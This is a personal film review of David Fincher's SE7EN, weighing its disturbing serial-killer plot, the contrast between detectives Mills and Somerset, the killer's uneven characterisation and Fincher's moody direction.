I'm going to begin this review by explaining that when I saw SE7EN on video, I watched about the first 30 minutes, was interrupted for about another 30 minutes, then resumed and watched the remaining hour and a half. Why, you may wonder, am I telling you this? Well, because it's put me in a bit of a pickle: I found much to admire about the film, and looking back on it, I can see how all the different scenes fit together into a coherent whole. My gut reaction, however, was that it still felt kind of disjointed. One side of me says I should go with my gut reaction. The other side says, "Well of course it felt disjointed, you quit watching the thing for half an hour in the middle!" As you've probably guessed from the rating, I've decided to give SE7EN the benefit of the doubt, so I'll spend most of the review explaining why I think it's actually a better film than it seemed to be while I was watching it.
SE7EN tells the story of David Mills (Brad Pitt), a young homicide detective working his first case in a new precinct under the tutelage of retiring veteran William Sommerset (Morgan Freeman). The case is a particularly horrifying set of serial killings, each murder meant to punish someone for one of the seven deadly sins. The murderer is clearly intelligent and deliberate, killing each victim in a way that symbolizes his or her sin. An obese man is punished for Gluttony by death through force-feeding, a drug dealer is punished for Sloth by being tied to a bed and left to waste away, a model is punished for Pride by the disfigurement of her face, and a prostitute is punished for Lust by . . . well, on second thought, I don't really want to talk about that one. Suffice it to say that all of these scenes are shocking and gruesome, some a little too much so: while a certain amount of this is necessary if one is to take this subject matter seriously, there are a couple of scenes in which director David Fincher really shows us more than we need to see.
At the core of SE7EN is the relationship between the two detectives. Mills is a cool, arrogant young cop who's comfortable investigating horrifying murders during the day and still cheerfully going home to his wife (Gwyneth Paltrow) and roughhousing on the floor with his hyperactive dogs. Somerset, we sense, lets these things get to him: his manner is usually very somber and morose, and from what we can tell, he lives a solitary and subdued home life. Mills writes off the killer, whom we only ever know as "John Doe," as a simple lunatic, while Somerset warns that this is a dangerous underestimation and instead tries to understand how the killer's mind works. And when it becomes clear what exactly the killer is up to, Somerset goes to the library and reads Paradise Lost and The Divine Comedy. Mills, on the other hand, settles for the Cliff's Notes. Slowly but surely, SE7EN emerges as a compelling argument for Somerset's approach, suggesting that one must accept the horror for what it is before one can really defend oneself against it. The two detectives are put through a gut-wrenching moral test at the end, and we find that it is Somerset who keeps his cool and Mills who discovers that he's a little closer to the "lunatic" than he ever would have imagined.
The only noticeable flaw in SE7EN aside from the occasionally excessive gore is that the screenplay by Andrew Kevin Walker doesn't quite have a handle on the killer. He's obviously a religious fanatic of sorts, and he seems to believe his fire-and-brimstone sermons about sin and corruption. On the other hand, the games he plays with Mills and Somerset seems to indicate that he subscribes to the idea of "the devil is inside all of us," which is a strange ideology for someone who issues such venomous condemnations of others. I also found it a little odd that someone with his personality would even indulge in the stereotypical serial killer routine of taunting the authorities. The character is certifiably 100% insane, of course, so it may be a mistake to insist on too much logic in his behavior, and I must admit that I am probably fairly picky when it comes to serial killer stories, having watched Fox's "Millennium" and NBC's "Profiler" for the past three years. Still, it might not have hurt to make the method to his madness a little more consistent and focused.
David Fincher does an excellent job holding all this together, instilling SE7EN with a consistent feeling of dread to accompany the disturbing story. His moody visual style, which he would later put to use in THE GAME, is a large part of what makes SE7EN work, and his direction is remarkably effective and sure-handed, especially considering that his only previous experience had been on the reportedly chaotic production of Alien 3. While I must admit to being somewhat puzzled as to the masterpiece status this film has been accorded on numerous Internet web sites, it's a very successful film that tackles challenging subject matter without flinching and yet still manages to be human.

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